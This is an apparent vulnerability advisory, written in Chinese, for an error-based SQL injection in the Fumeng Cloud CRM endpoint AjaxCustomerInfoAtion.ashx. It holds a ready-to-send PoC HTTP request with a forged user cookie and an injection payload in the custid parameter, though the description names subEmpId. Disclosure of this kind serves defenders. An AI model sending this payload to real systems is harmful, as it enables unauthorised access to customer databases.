孚盟云 CRM /m/Dingding/Ajax/AjaxCustomerInfoAtion.ashx SQL 注入漏洞

2026-01-30 孚盟云CRM PoC Public

Description

孚盟云CRM系统的/m/Dingding/Ajax/AjaxCustomerInfoAtion.ashx接口在处理subEmpId参数时，未对用户输入的SQL语句进行有效过滤和校验，存在报错型SQL注入漏洞。攻击者可通过构造恶意的SQL注入语句，利用该漏洞非法获取数据库敏感信息，甚至执行任意SQL命令。

PoC

POST /m/Dingding/Ajax/AjaxCustomerInfoAtion.ashx HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Cookie: UserCookie={"empId":"1"}

method=getTitle&custid='-1/@VERSION--

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#Fumeng Cloud CRM /m/Dingding/Ajax/AjaxCustomerInfoAtion.ashx SQL Injection Vulnerability

References

Related Vulnerabilities